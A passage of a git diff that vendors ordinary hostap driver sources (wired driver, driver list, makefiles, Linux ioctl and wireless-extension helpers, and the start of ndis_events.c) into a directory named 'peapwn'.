sap->sa_family = AF_UNSPEC; + os_memcpy(sap->sa_data, addr, ETH_ALEN); + } +#endif /* defined(__NetBSD__) || defined(__OpenBSD__) || defined(__APPLE__) */ + + if (ioctl(s, add ? SIOCADDMULTI : SIOCDELMULTI, (caddr_t) &ifr) < 0) { + perror("ioctl[SIOC{ADD/DEL}MULTI]"); + close(s); + return -1; + } + close(s); + return 0; +} + + +static void * wpa_driver_wired_init(void *ctx, const char *ifname) +{ + struct wpa_driver_wired_data *drv; + int flags; + + drv = os_zalloc(sizeof(*drv)); + if (drv == NULL) + return NULL; + os_strlcpy(drv->ifname, ifname, sizeof(drv->ifname)); + drv->ctx = ctx; + +#ifdef __linux__ + drv->pf_sock = socket(PF_PACKET, SOCK_DGRAM, 0); + if (drv->pf_sock < 0) + perror("socket(PF_PACKET)"); +#else /* __linux__ */ + drv->pf_sock = -1; +#endif /* __linux__ */ + + if (wpa_driver_wired_get_ifflags(ifname, &flags) == 0 && + !(flags & IFF_UP) && + wpa_driver_wired_set_ifflags(ifname, flags | IFF_UP) == 0) { + drv->iff_up = 1; + } + + if (wired_multicast_membership(drv->pf_sock, + if_nametoindex(drv->ifname), + pae_group_addr, 1) == 0) { + wpa_printf(MSG_DEBUG, "%s: Added multicast membership with " + "packet socket", __func__); + drv->membership = 1; + } else if (wpa_driver_wired_multi(ifname, pae_group_addr, 1) == 0) { + wpa_printf(MSG_DEBUG, "%s: Added multicast membership with " + "SIOCADDMULTI", __func__); + drv->multi = 1; + } else if (wpa_driver_wired_get_ifflags(ifname, &flags) < 0) { + wpa_printf(MSG_INFO, "%s: Could not get interface " + "flags", __func__); + os_free(drv); + return NULL; + } else if (flags & IFF_ALLMULTI) { + wpa_printf(MSG_DEBUG, "%s: Interface is already configured " + "for multicast", __func__); + } else if (wpa_driver_wired_set_ifflags(ifname, + flags | IFF_ALLMULTI) < 0) { + wpa_printf(MSG_INFO, "%s: Failed to enable allmulti", + __func__); + os_free(drv); + return NULL; + } else { + wpa_printf(MSG_DEBUG, "%s: Enabled allmulti mode", + __func__); + drv->iff_allmulti = 1; + } +#if defined(__FreeBSD__) || defined(__DragonFly__) || defined(__FreeBSD_kernel__) + { + int status; + wpa_printf(MSG_DEBUG, "%s: waiting for link to become active", + __func__); + while (wpa_driver_wired_get_ifstatus(ifname, &status) == 0 && + status == 0) + sleep(1); + } +#endif /* defined(__FreeBSD__) || defined(__DragonFly__) || defined(FreeBSD_kernel__) */ + + return drv; +} + + +static void wpa_driver_wired_deinit(void *priv) +{ + struct wpa_driver_wired_data *drv = priv; + int flags; + + if (drv->membership && + wired_multicast_membership(drv->pf_sock, + if_nametoindex(drv->ifname), + pae_group_addr, 0) < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to remove PAE multicast " + "group (PACKET)", __func__); + } + + if (drv->multi && + wpa_driver_wired_multi(drv->ifname, pae_group_addr, 0) < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to remove PAE multicast " + "group (SIOCDELMULTI)", __func__); + } + + if (drv->iff_allmulti && + (wpa_driver_wired_get_ifflags(drv->ifname, &flags) < 0 || + wpa_driver_wired_set_ifflags(drv->ifname, + flags & ~IFF_ALLMULTI) < 0)) { + wpa_printf(MSG_DEBUG, "%s: Failed to disable allmulti mode", + __func__); + } + + if (drv->iff_up && + wpa_driver_wired_get_ifflags(drv->ifname, &flags) == 0 && + (flags & IFF_UP) && + wpa_driver_wired_set_ifflags(drv->ifname, flags & ~IFF_UP) < 0) { + wpa_printf(MSG_DEBUG, "%s: Failed to set the interface down", + __func__); + } + + if (drv->pf_sock != -1) + close(drv->pf_sock); + + os_free(drv); +} + + +const struct wpa_driver_ops wpa_driver_wired_ops = { + .name = "wired", + .desc = "Wired Ethernet driver", + .hapd_init = wired_driver_hapd_init, + .hapd_deinit = wired_driver_hapd_deinit, + .hapd_send_eapol = wired_send_eapol, + .get_ssid = wpa_driver_wired_get_ssid, + .get_bssid = wpa_driver_wired_get_bssid, + .get_capa = wpa_driver_wired_get_capa, + .init = wpa_driver_wired_init, + .deinit = wpa_driver_wired_deinit, +}; diff --git a/peapwn/mods/hostap/src/drivers/drivers.c b/peapwn/mods/hostap/src/drivers/drivers.c new file mode 100644 index 000000000..04eb4fd1c --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/drivers.c @@ -0,0 +1,90 @@ +/* + * Driver interface list + * Copyright (c) 2004-2005, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + + +#ifdef CONFIG_DRIVER_WEXT +extern struct wpa_driver_ops wpa_driver_wext_ops; /* driver_wext.c */ +#endif /* CONFIG_DRIVER_WEXT */ +#ifdef CONFIG_DRIVER_NL80211 +extern struct wpa_driver_ops wpa_driver_nl80211_ops; /* driver_nl80211.c */ +#endif /* CONFIG_DRIVER_NL80211 */ +#ifdef CONFIG_DRIVER_HOSTAP +extern struct wpa_driver_ops wpa_driver_hostap_ops; /* driver_hostap.c */ +#endif /* CONFIG_DRIVER_HOSTAP */ +#ifdef CONFIG_DRIVER_MADWIFI +extern struct wpa_driver_ops wpa_driver_madwifi_ops; /* driver_madwifi.c */ +#endif /* CONFIG_DRIVER_MADWIFI */ +#ifdef CONFIG_DRIVER_BSD +extern struct wpa_driver_ops wpa_driver_bsd_ops; /* driver_bsd.c */ +#endif /* CONFIG_DRIVER_BSD */ +#ifdef CONFIG_DRIVER_OPENBSD +extern struct wpa_driver_ops wpa_driver_openbsd_ops; /* driver_openbsd.c */ +#endif /* CONFIG_DRIVER_OPENBSD */ +#ifdef CONFIG_DRIVER_NDIS +extern struct wpa_driver_ops wpa_driver_ndis_ops; /* driver_ndis.c */ +#endif /* CONFIG_DRIVER_NDIS */ +#ifdef CONFIG_DRIVER_WIRED +extern struct wpa_driver_ops wpa_driver_wired_ops; /* driver_wired.c */ +#endif /* CONFIG_DRIVER_WIRED */ +#ifdef CONFIG_DRIVER_TEST +extern struct wpa_driver_ops wpa_driver_test_ops; /* driver_test.c */ +#endif /* CONFIG_DRIVER_TEST */ +#ifdef CONFIG_DRIVER_ROBOSWITCH +/* driver_roboswitch.c */ +extern struct wpa_driver_ops wpa_driver_roboswitch_ops; +#endif /* CONFIG_DRIVER_ROBOSWITCH */ +#ifdef CONFIG_DRIVER_ATHEROS +extern struct wpa_driver_ops wpa_driver_atheros_ops; /* driver_atheros.c */ +#endif /* CONFIG_DRIVER_ATHEROS */ +#ifdef CONFIG_DRIVER_NONE +extern struct wpa_driver_ops wpa_driver_none_ops; /* driver_none.c */ +#endif /* CONFIG_DRIVER_NONE */ + + +struct wpa_driver_ops *wpa_drivers[] = +{ +#ifdef CONFIG_DRIVER_NL80211 + &wpa_driver_nl80211_ops, +#endif /* CONFIG_DRIVER_NL80211 */ +#ifdef CONFIG_DRIVER_WEXT + &wpa_driver_wext_ops, +#endif /* CONFIG_DRIVER_WEXT */ +#ifdef CONFIG_DRIVER_HOSTAP + &wpa_driver_hostap_ops, +#endif /* CONFIG_DRIVER_HOSTAP */ +#ifdef CONFIG_DRIVER_MADWIFI + &wpa_driver_madwifi_ops, +#endif /* CONFIG_DRIVER_MADWIFI */ +#ifdef CONFIG_DRIVER_BSD + &wpa_driver_bsd_ops, +#endif /* CONFIG_DRIVER_BSD */ +#ifdef CONFIG_DRIVER_OPENBSD + &wpa_driver_openbsd_ops, +#endif /* CONFIG_DRIVER_OPENBSD */ +#ifdef CONFIG_DRIVER_NDIS + &wpa_driver_ndis_ops, +#endif /* CONFIG_DRIVER_NDIS */ +#ifdef CONFIG_DRIVER_WIRED + &wpa_driver_wired_ops, +#endif /* CONFIG_DRIVER_WIRED */ +#ifdef CONFIG_DRIVER_TEST + &wpa_driver_test_ops, +#endif /* CONFIG_DRIVER_TEST */ +#ifdef CONFIG_DRIVER_ROBOSWITCH + &wpa_driver_roboswitch_ops, +#endif /* CONFIG_DRIVER_ROBOSWITCH */ +#ifdef CONFIG_DRIVER_ATHEROS + &wpa_driver_atheros_ops, +#endif /* CONFIG_DRIVER_ATHEROS */ +#ifdef CONFIG_DRIVER_NONE + &wpa_driver_none_ops, +#endif /* CONFIG_DRIVER_NONE */ + NULL +}; diff --git a/peapwn/mods/hostap/src/drivers/drivers.mak b/peapwn/mods/hostap/src/drivers/drivers.mak new file mode 100644 index 000000000..68ff910b4 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/drivers.mak @@ -0,0 +1,191 @@ +##### CLEAR VARS + +DRV_CFLAGS = +DRV_WPA_CFLAGS = +DRV_AP_CFLAGS = +DRV_OBJS = +DRV_WPA_OBJS = +DRV_AP_OBJS = +DRV_LIBS = +DRV_WPA_LIBS = +DRV_AP_LIBS = + +##### COMMON DRIVERS + +ifdef CONFIG_DRIVER_WIRED +DRV_CFLAGS += -DCONFIG_DRIVER_WIRED +DRV_OBJS += ../src/drivers/driver_wired.o +endif + +ifdef CONFIG_DRIVER_NL80211 +DRV_CFLAGS += -DCONFIG_DRIVER_NL80211 +DRV_OBJS += ../src/drivers/driver_nl80211.o +DRV_OBJS += ../src/utils/radiotap.o +NEED_SME=y +NEED_AP_MLME=y +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +NEED_RFKILL=y + +ifdef CONFIG_LIBNL32 + DRV_LIBS += -lnl-3 + DRV_LIBS += -lnl-genl-3 + DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3 +else + ifdef CONFIG_LIBNL_TINY + DRV_LIBS += -lnl-tiny + else + DRV_LIBS += -lnl + endif + + ifdef CONFIG_LIBNL20 + DRV_LIBS += -lnl-genl + DRV_CFLAGS += -DCONFIG_LIBNL20 + endif +endif +endif + +ifdef CONFIG_DRIVER_BSD +ifndef CONFIG_L2_PACKET +CONFIG_L2_PACKET=freebsd +endif +DRV_CFLAGS += -DCONFIG_DRIVER_BSD +DRV_OBJS += ../src/drivers/driver_bsd.o +CONFIG_L2_FREEBSD=y +CONFIG_DNET_PCAP=y +endif + +ifdef CONFIG_DRIVER_OPENBSD +ifndef CONFIG_L2_PACKET +CONFIG_L2_PACKET=freebsd +endif +DRV_CFLAGS += -DCONFIG_DRIVER_OPENBSD +DRV_OBJS += ../src/drivers/driver_openbsd.o +endif + +ifdef CONFIG_DRIVER_TEST +DRV_CFLAGS += -DCONFIG_DRIVER_TEST +DRV_OBJS += ../src/drivers/driver_test.o +NEED_AP_MLME=y +endif + +ifdef CONFIG_DRIVER_NONE +DRV_CFLAGS += -DCONFIG_DRIVER_NONE +DRV_OBJS += ../src/drivers/driver_none.o +endif + +##### PURE AP DRIVERS + +ifdef CONFIG_DRIVER_HOSTAP +DRV_AP_CFLAGS += -DCONFIG_DRIVER_HOSTAP +DRV_AP_OBJS += ../src/drivers/driver_hostap.o +CONFIG_WIRELESS_EXTENSION=y +NEED_AP_MLME=y +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +endif + +ifdef CONFIG_DRIVER_MADWIFI +DRV_AP_CFLAGS += -DCONFIG_DRIVER_MADWIFI +DRV_AP_OBJS += ../src/drivers/driver_madwifi.o +CONFIG_WIRELESS_EXTENSION=y +CONFIG_L2_PACKET=linux +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +endif + +ifdef CONFIG_DRIVER_ATHEROS +DRV_AP_CFLAGS += -DCONFIG_DRIVER_ATHEROS +DRV_AP_OBJS += ../src/drivers/driver_atheros.o +CONFIG_L2_PACKET=linux +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +endif + +##### PURE CLIENT DRIVERS + +ifdef CONFIG_DRIVER_WEXT +DRV_WPA_CFLAGS += -DCONFIG_DRIVER_WEXT +CONFIG_WIRELESS_EXTENSION=y +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +NEED_RFKILL=y +endif + +ifdef CONFIG_DRIVER_NDIS +DRV_WPA_CFLAGS += -DCONFIG_DRIVER_NDIS +DRV_WPA_OBJS += ../src/drivers/driver_ndis.o +ifdef CONFIG_NDIS_EVENTS_INTEGRATED +DRV_WPA_OBJS += ../src/drivers/driver_ndis_.o +endif +ifndef CONFIG_L2_PACKET +CONFIG_L2_PACKET=pcap +endif +CONFIG_WINPCAP=y +ifdef CONFIG_USE_NDISUIO +DRV_WPA_CFLAGS += -DCONFIG_USE_NDISUIO +endif +endif + +ifdef CONFIG_DRIVER_ROBOSWITCH +DRV_WPA_CFLAGS += -DCONFIG_DRIVER_ROBOSWITCH +DRV_WPA_OBJS += ../src/drivers/driver_roboswitch.o +endif + +ifdef CONFIG_WIRELESS_EXTENSION +DRV_WPA_CFLAGS += -DCONFIG_WIRELESS_EXTENSION +DRV_WPA_OBJS += ../src/drivers/driver_wext.o +NEED_RFKILL=y +endif + +ifdef NEED_NETLINK +DRV_OBJS += ../src/drivers/netlink.o +endif + +ifdef NEED_LINUX_IOCTL +DRV_OBJS += ../src/drivers/linux_ioctl.o +endif + +ifdef NEED_RFKILL +DRV_OBJS += ../src/drivers/rfkill.o +endif + +ifdef CONFIG_VLAN_NETLINK +ifdef CONFIG_FULL_DYNAMIC_VLAN +ifdef CONFIG_LIBNL32 + DRV_LIBS += -lnl-3 + DRV_LIBS += -lnl-genl-3 + DRV_LIBS += -lnl-route-3 + DRV_CFLAGS += -DCONFIG_LIBNL20 +else + ifdef CONFIG_LIBNL_TINY + DRV_LIBS += -lnl-tiny + else + DRV_LIBS += -lnl + endif + + ifdef CONFIG_LIBNL20 + DRV_LIBS += -lnl-genl + DRV_LIBS += -lnl-route + DRV_CFLAGS += -DCONFIG_LIBNL20 + endif +endif +endif +endif + +##### COMMON VARS +DRV_BOTH_CFLAGS := $(DRV_CFLAGS) $(DRV_WPA_CFLAGS) $(DRV_AP_CFLAGS) +DRV_WPA_CFLAGS += $(DRV_CFLAGS) +DRV_AP_CFLAGS += $(DRV_CFLAGS) + +DRV_BOTH_LIBS := $(DRV_LIBS) $(DRV_WPA_LIBS) $(DRV_AP_LIBS) +DRV_WPA_LIBS += $(DRV_LIBS) +DRV_AP_LIBS += $(DRV_LIBS) + +DRV_BOTH_OBJS := $(DRV_OBJS) $(DRV_WPA_OBJS) $(DRV_AP_OBJS) +DRV_WPA_OBJS += $(DRV_OBJS) +DRV_AP_OBJS += $(DRV_OBJS) + +DRV_BOTH_LDFLAGS := $(DRV_LDFLAGS) $(DRV_WPA_LDFLAGS) $(DRV_AP_LDFLAGS) +DRV_WPA_LDFLAGS += $(DRV_LDFLAGS) +DRV_AP_LDFLAGS += $(DRV_LDFLAGS) diff --git a/peapwn/mods/hostap/src/drivers/drivers.mk b/peapwn/mods/hostap/src/drivers/drivers.mk new file mode 100644 index 000000000..db8561ae6 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/drivers.mk @@ -0,0 +1,195 @@ +##### CLEAR VARS + +DRV_CFLAGS = +DRV_WPA_CFLAGS = +DRV_AP_CFLAGS = +DRV_OBJS = +DRV_WPA_OBJS = +DRV_AP_OBJS = +DRV_LIBS = +DRV_WPA_LIBS = +DRV_AP_LIBS = + +##### COMMON DRIVERS + +ifdef CONFIG_DRIVER_WIRED +DRV_CFLAGS += -DCONFIG_DRIVER_WIRED +DRV_OBJS += src/drivers/driver_wired.c +endif + +ifdef CONFIG_DRIVER_NL80211 +DRV_CFLAGS += -DCONFIG_DRIVER_NL80211 +DRV_OBJS += src/drivers/driver_nl80211.c +DRV_OBJS += src/utils/radiotap.c +NEED_SME=y +NEED_AP_MLME=y +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +NEED_RFKILL=y + +ifdef CONFIG_LIBNL32 + DRV_LIBS += -lnl-3 + DRV_LIBS += -lnl-genl-3 + DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3 +else + ifdef CONFIG_LIBNL_TINY + DRV_LIBS += -lnl-tiny + else + DRV_LIBS += -lnl + endif + + ifdef CONFIG_LIBNL20 + DRV_LIBS += -lnl-genl + DRV_CFLAGS += -DCONFIG_LIBNL20 + endif +endif +endif + +ifdef CONFIG_DRIVER_BSD +ifndef CONFIG_L2_PACKET +CONFIG_L2_PACKET=freebsd +endif +DRV_CFLAGS += -DCONFIG_DRIVER_BSD +DRV_OBJS += src/drivers/driver_bsd.c +CONFIG_L2_FREEBSD=y +CONFIG_DNET_PCAP=y +endif + +ifdef CONFIG_DRIVER_OPENBSD +ifndef CONFIG_L2_PACKET +CONFIG_L2_PACKET=freebsd +endif +DRV_CFLAGS += -DCONFIG_DRIVER_OPENBSD +DRV_OBJS += src/drivers/driver_openbsd.c +endif + +ifdef CONFIG_DRIVER_TEST +DRV_CFLAGS += -DCONFIG_DRIVER_TEST +DRV_OBJS += src/drivers/driver_test.c +NEED_AP_MLME=y +endif + +ifdef CONFIG_DRIVER_NONE +DRV_CFLAGS += -DCONFIG_DRIVER_NONE +DRV_OBJS += src/drivers/driver_none.c +endif + +##### PURE AP DRIVERS + +ifdef CONFIG_DRIVER_HOSTAP +DRV_AP_CFLAGS += -DCONFIG_DRIVER_HOSTAP +DRV_AP_OBJS += src/drivers/driver_hostap.c +CONFIG_WIRELESS_EXTENSION=y +NEED_AP_MLME=y +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +endif + +ifdef CONFIG_DRIVER_MADWIFI +DRV_AP_CFLAGS += -DCONFIG_DRIVER_MADWIFI +DRV_AP_OBJS += src/drivers/driver_madwifi.c +CONFIG_WIRELESS_EXTENSION=y +CONFIG_L2_PACKET=linux +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +endif + +ifdef CONFIG_DRIVER_ATHEROS +DRV_AP_CFLAGS += -DCONFIG_DRIVER_ATHEROS +DRV_AP_OBJS += src/drivers/driver_atheros.c +CONFIG_L2_PACKET=linux +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +endif + +##### PURE CLIENT DRIVERS + +ifdef CONFIG_DRIVER_WEXT +DRV_WPA_CFLAGS += -DCONFIG_DRIVER_WEXT +CONFIG_WIRELESS_EXTENSION=y +NEED_NETLINK=y +NEED_LINUX_IOCTL=y +NEED_RFKILL=y +endif + +ifdef CONFIG_DRIVER_NDIS +DRV_WPA_CFLAGS += -DCONFIG_DRIVER_NDIS +DRV_WPA_OBJS += src/drivers/driver_ndis.c +ifdef CONFIG_NDIS_EVENTS_INTEGRATED +DRV_WPA_OBJS += src/drivers/driver_ndis_.c +endif +ifndef CONFIG_L2_PACKET +CONFIG_L2_PACKET=pcap +endif +CONFIG_WINPCAP=y +ifdef CONFIG_USE_NDISUIO +DRV_WPA_CFLAGS += -DCONFIG_USE_NDISUIO +endif +endif + +ifdef CONFIG_DRIVER_ROBOSWITCH +DRV_WPA_CFLAGS += -DCONFIG_DRIVER_ROBOSWITCH +DRV_WPA_OBJS += src/drivers/driver_roboswitch.c +endif + +ifdef CONFIG_WIRELESS_EXTENSION +DRV_WPA_CFLAGS += -DCONFIG_WIRELESS_EXTENSION +DRV_WPA_OBJS += src/drivers/driver_wext.c +NEED_RFKILL=y +endif + +ifdef NEED_NETLINK +DRV_OBJS += src/drivers/netlink.c +endif + +ifdef NEED_LINUX_IOCTL +DRV_OBJS += src/drivers/linux_ioctl.c +endif + +ifdef NEED_RFKILL +DRV_OBJS += src/drivers/rfkill.c +endif + +ifdef CONFIG_DRIVER_CUSTOM +DRV_CFLAGS += -DCONFIG_DRIVER_CUSTOM +endif + +ifdef CONFIG_VLAN_NETLINK +ifdef CONFIG_FULL_DYNAMIC_VLAN +ifdef CONFIG_LIBNL32 + DRV_LIBS += -lnl-3 + DRV_LIBS += -lnl-genl-3 + DRV_LIBS += -lnl-route-3 + DRV_CFLAGS += -DCONFIG_LIBNL20 +else + ifdef CONFIG_LIBNL_TINY + DRV_LIBS += -lnl-tiny + else + DRV_LIBS += -lnl + endif + + ifdef CONFIG_LIBNL20 + DRV_LIBS += -lnl-genl + DRV_LIBS += -lnl-route + DRV_CFLAGS += -DCONFIG_LIBNL20 + endif +endif +endif +endif + +##### COMMON VARS +DRV_BOTH_CFLAGS := $(DRV_CFLAGS) $(DRV_WPA_CFLAGS) $(DRV_AP_CFLAGS) +DRV_WPA_CFLAGS += $(DRV_CFLAGS) +DRV_AP_CFLAGS += $(DRV_CFLAGS) + +DRV_BOTH_LIBS := $(DRV_LIBS) $(DRV_WPA_LIBS) $(DRV_AP_LIBS) +DRV_WPA_LIBS += $(DRV_LIBS) +DRV_AP_LIBS += $(DRV_LIBS) + +DRV_BOTH_OBJS := $(DRV_OBJS) $(DRV_WPA_OBJS) $(DRV_AP_OBJS) +DRV_WPA_OBJS += $(DRV_OBJS) +DRV_AP_OBJS += $(DRV_OBJS) + +DRV_BOTH_LDFLAGS := $(DRV_LDFLAGS) $(DRV_WPA_LDFLAGS) $(DRV_AP_LDFLAGS) +DRV_WPA_LDFLAGS += $(DRV_LDFLAGS) +DRV_AP_LDFLAGS += $(DRV_LDFLAGS) diff --git a/peapwn/mods/hostap/src/drivers/linux_ioctl.c b/peapwn/mods/hostap/src/drivers/linux_ioctl.c new file mode 100644 index 000000000..837971d25 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/linux_ioctl.c @@ -0,0 +1,221 @@ +/* + * Linux ioctl helper functions for driver wrappers + * Copyright (c) 2002-2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" +#include +#include +#include + +#include "utils/common.h" +#include "linux_ioctl.h" + + +int linux_set_iface_flags(int sock, const char *ifname, int dev_up) +{ + struct ifreq ifr; + int ret; + + if (sock < 0) + return -1; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + + if (ioctl(sock, SIOCGIFFLAGS, &ifr) != 0) { + ret = errno ? -errno : -999; + wpa_printf(MSG_ERROR, "Could not read interface %s flags: %s", + ifname, strerror(errno)); + return ret; + } + + if (dev_up) { + if (ifr.ifr_flags & IFF_UP) + return 0; + ifr.ifr_flags |= IFF_UP; + } else { + if (!(ifr.ifr_flags & IFF_UP)) + return 0; + ifr.ifr_flags &= ~IFF_UP; + } + + if (ioctl(sock, SIOCSIFFLAGS, &ifr) != 0) { + ret = errno ? -errno : -999; + wpa_printf(MSG_ERROR, "Could not set interface %s flags (%s): " + "%s", + ifname, dev_up ? "UP" : "DOWN", strerror(errno)); + return ret; + } + + return 0; +} + + +int linux_iface_up(int sock, const char *ifname) +{ + struct ifreq ifr; + int ret; + + if (sock < 0) + return -1; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + + if (ioctl(sock, SIOCGIFFLAGS, &ifr) != 0) { + ret = errno ? -errno : -999; + wpa_printf(MSG_ERROR, "Could not read interface %s flags: %s", + ifname, strerror(errno)); + return ret; + } + + return !!(ifr.ifr_flags & IFF_UP); +} + + +int linux_get_ifhwaddr(int sock, const char *ifname, u8 *addr) +{ + struct ifreq ifr; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + if (ioctl(sock, SIOCGIFHWADDR, &ifr)) { + wpa_printf(MSG_ERROR, "Could not get interface %s hwaddr: %s", + ifname, strerror(errno)); + return -1; + } + + if (ifr.ifr_hwaddr.sa_family != ARPHRD_ETHER) { + wpa_printf(MSG_ERROR, "%s: Invalid HW-addr family 0x%04x", + ifname, ifr.ifr_hwaddr.sa_family); + return -1; + } + os_memcpy(addr, ifr.ifr_hwaddr.sa_data, ETH_ALEN); + + return 0; +} + + +int linux_set_ifhwaddr(int sock, const char *ifname, const u8 *addr) +{ + struct ifreq ifr; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, ifname, IFNAMSIZ); + os_memcpy(ifr.ifr_hwaddr.sa_data, addr, ETH_ALEN); + ifr.ifr_hwaddr.sa_family = ARPHRD_ETHER; + + if (ioctl(sock, SIOCSIFHWADDR, &ifr)) { + wpa_printf(MSG_DEBUG, "Could not set interface %s hwaddr: %s", + ifname, strerror(errno)); + return -1; + } + + return 0; +} + + +#ifndef SIOCBRADDBR +#define SIOCBRADDBR 0x89a0 +#endif +#ifndef SIOCBRDELBR +#define SIOCBRDELBR 0x89a1 +#endif +#ifndef SIOCBRADDIF +#define SIOCBRADDIF 0x89a2 +#endif +#ifndef SIOCBRDELIF +#define SIOCBRDELIF 0x89a3 +#endif + + +int linux_br_add(int sock, const char *brname) +{ + if (ioctl(sock, SIOCBRADDBR, brname) < 0) { + wpa_printf(MSG_DEBUG, "Could not add bridge %s: %s", + brname, strerror(errno)); + return -1; + } + + return 0; +} + + +int linux_br_del(int sock, const char *brname) +{ + if (ioctl(sock, SIOCBRDELBR, brname) < 0) { + wpa_printf(MSG_DEBUG, "Could not remove bridge %s: %s", + brname, strerror(errno)); + return -1; + } + + return 0; +} + + +int linux_br_add_if(int sock, const char *brname, const char *ifname) +{ + struct ifreq ifr; + int ifindex; + + ifindex = if_nametoindex(ifname); + if (ifindex == 0) + return -1; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, brname, IFNAMSIZ); + ifr.ifr_ifindex = ifindex; + if (ioctl(sock, SIOCBRADDIF, &ifr) < 0) { + wpa_printf(MSG_DEBUG, "Could not add interface %s into bridge " + "%s: %s", ifname, brname, strerror(errno)); + return -1; + } + + return 0; +} + + +int linux_br_del_if(int sock, const char *brname, const char *ifname) +{ + struct ifreq ifr; + int ifindex; + + ifindex = if_nametoindex(ifname); + if (ifindex == 0) + return -1; + + os_memset(&ifr, 0, sizeof(ifr)); + os_strlcpy(ifr.ifr_name, brname, IFNAMSIZ); + ifr.ifr_ifindex = ifindex; + if (ioctl(sock, SIOCBRDELIF, &ifr) < 0) { + wpa_printf(MSG_DEBUG, "Could not remove interface %s from " + "bridge %s: %s", ifname, brname, strerror(errno)); + return -1; + } + + return 0; +} + + +int linux_br_get(char *brname, const char *ifname) +{ + char path[128], brlink[128], *pos; + ssize_t res; + + os_snprintf(path, sizeof(path), "/sys/class/net/%s/brport/bridge", + ifname); + res = readlink(path, brlink, sizeof(brlink)); + if (res < 0 || (size_t) res >= sizeof(brlink)) + return -1; + brlink[res] = '\0'; + pos = os_strrchr(brlink, '/'); + if (pos == NULL) + return -1; + pos++; + os_strlcpy(brname, pos, IFNAMSIZ); + return 0; +} diff --git a/peapwn/mods/hostap/src/drivers/linux_ioctl.h b/peapwn/mods/hostap/src/drivers/linux_ioctl.h new file mode 100644 index 000000000..c03fe6e9a --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/linux_ioctl.h @@ -0,0 +1,22 @@ +/* + * Linux ioctl helper functions for driver wrappers + * Copyright (c) 2002-2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef LINUX_IOCTL_H +#define LINUX_IOCTL_H + +int linux_set_iface_flags(int sock, const char *ifname, int dev_up); +int linux_iface_up(int sock, const char *ifname); +int linux_get_ifhwaddr(int sock, const char *ifname, u8 *addr); +int linux_set_ifhwaddr(int sock, const char *ifname, const u8 *addr); +int linux_br_add(int sock, const char *brname); +int linux_br_del(int sock, const char *brname); +int linux_br_add_if(int sock, const char *brname, const char *ifname); +int linux_br_del_if(int sock, const char *brname, const char *ifname); +int linux_br_get(char *brname, const char *ifname); + +#endif /* LINUX_IOCTL_H */ diff --git a/peapwn/mods/hostap/src/drivers/linux_wext.h b/peapwn/mods/hostap/src/drivers/linux_wext.h new file mode 100644 index 000000000..55cf95531 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/linux_wext.h @@ -0,0 +1,45 @@ +/* + * Driver interaction with generic Linux Wireless Extensions + * Copyright (c) 2003-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef LINUX_WEXT_H +#define LINUX_WEXT_H + +#ifndef ANDROID + +/* + * Avoid including other kernel header to avoid conflicts with C library + * headers. + */ +#define _LINUX_TYPES_H +#define _LINUX_SOCKET_H +#define _LINUX_IF_H + +#include +#include +typedef __uint32_t __u32; +typedef __int32_t __s32; +typedef __uint16_t __u16; +typedef __int16_t __s16; +typedef __uint8_t __u8; +#ifndef __user +#define __user +#endif /* __user */ + +#endif /* ANDROID */ + +#include + +#ifndef IW_ENCODE_ALG_PMK +#define IW_ENCODE_ALG_PMK 4 +#endif + +#ifndef IW_ENC_CAPA_4WAY_HANDSHAKE +#define IW_ENC_CAPA_4WAY_HANDSHAKE 0x00000010 +#endif + +#endif /* LINUX_WEXT_H */ diff --git a/peapwn/mods/hostap/src/drivers/ndis_events.c b/peapwn/mods/hostap/src/drivers/ndis_events.c new file mode 100644 index 000000000..93673a363 --- /dev/null +++ b/peapwn/mods/hostap/src/drivers/ndis_events.c @@ -0,0 +1,802 @@ +/* + * ndis_events - Receive NdisMIndicateStatus() events using WMI + * Copyright (c) 2004-2006, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#define _WIN32_WINNT 0x0400 + +#include "includes.h" + +#ifndef COBJMACROS +#define COBJMACROS +#endif /* COBJMACROS */ +#include + +#include "common.h" + + +static int wmi_refcnt = 0; +static int wmi_first = 1; + +struct ndis_events_data { + IWbemObjectSink sink; + IWbemObjectSinkVtbl sink_vtbl; + + IWbemServices *pSvc; + IWbemLocator *pLoc; + + HANDLE read_pipe, write_pipe, event_avail; + UINT ref; + int terminating; + char *ifname; /* {GUID..} */ + WCHAR *adapter_desc; +}; + +#define BstrAlloc(x) (x) ? SysAllocString(x) : NULL +#define BstrFree(x) if (x) SysFreeString(x) + +/* WBEM / WMI wrapper functions, to perform in-place conversion of WCHARs to + * BSTRs */ +HRESULT STDMETHODCALLTYPE call_IWbemServices_ExecQuery( + IWbemServices *pSvc, LPCWSTR strQueryLanguage, LPCWSTR strQuery, + long 